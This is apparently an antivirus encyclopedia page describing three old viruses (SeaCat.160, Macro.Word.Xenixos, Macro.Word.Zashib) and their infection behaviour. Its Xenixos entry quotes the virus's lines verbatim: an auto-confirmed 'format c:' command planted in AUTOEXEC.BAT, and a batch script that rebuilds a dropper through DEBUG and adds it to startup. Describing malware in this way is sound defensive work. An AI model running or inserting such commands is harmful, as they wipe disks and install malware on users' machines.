Virus Database

SeaCat.160

Description SeaCat.160

This is a dangerous nonmemory resident virus. It searches for .COM files of the current directory, then writes itself to the beginning of the file and turns on the Read-Only file attribute. By this attribute the virus separates the infected and not infected files, but the virus has the bugs and may infect the files twice.

Check other viruses! Be aware! Use Antiviral Software

Macro.Word.Xenixos

Description Macro.Word.Xenixos

It is encrypted virus. It contains the macros:
Drop, Dummy, AutoExec, AutoOpen, DateiÖffnen, ExtrasMakro, DateiBeenden,
DateiDrucken, DateiSpeichern, DateiSpeichernUnter, DateiDruckenStandard.

In some cases it sets the password "xenixos" for infected documents, displays the message:
Diese Option ist derzeit leider nicht verfügbar.
Fehler

While printing the documents it appends:
Brought to you by the Nemesis Corporation, L1996

On 1st of may the virus writes the string to the AUTOEXEC.BAT file:
@echo j|format c: /u >nul

This virus also launches "Neurobasher.b" multipartite virus. To do that the virus creates the C:DOSSCRIPT.SCR file, and writes hexadecimal dump of that virus into there. Then the virus creates the C:DOSEXEC.BAT file, and writes the strings into there:
@echo off
debug < script.scr>nul
rem debugger.com
echo @c:dosdebugger.exe>>c:autoexec.bat
del c:dosscript.scr
del c:dosexec.bat

Then the virus executes that file. As the result DEBUG.EXE creates the DEBUGGER.EXE file, and C:AUTOEXEC.BAT has new string at its end:
@c:dosdebugger.exe

So, the last command of AUTOEXEC.BAT launches dropper of "Neurobasher.b" virus.

Macro.Word.Zashib

Description Macro.Word.Zashib

This virus contains four macros: AutoOpen, Knell, Mutagen (Normal:FileOpen), Zashib (Normal:FilePrint). It infects the global macros area on opening an infected document (AutoOpen), the documents get infection also on opening. While printing a document at 16:xx the virus appends to the end of document a text in Russian.

Home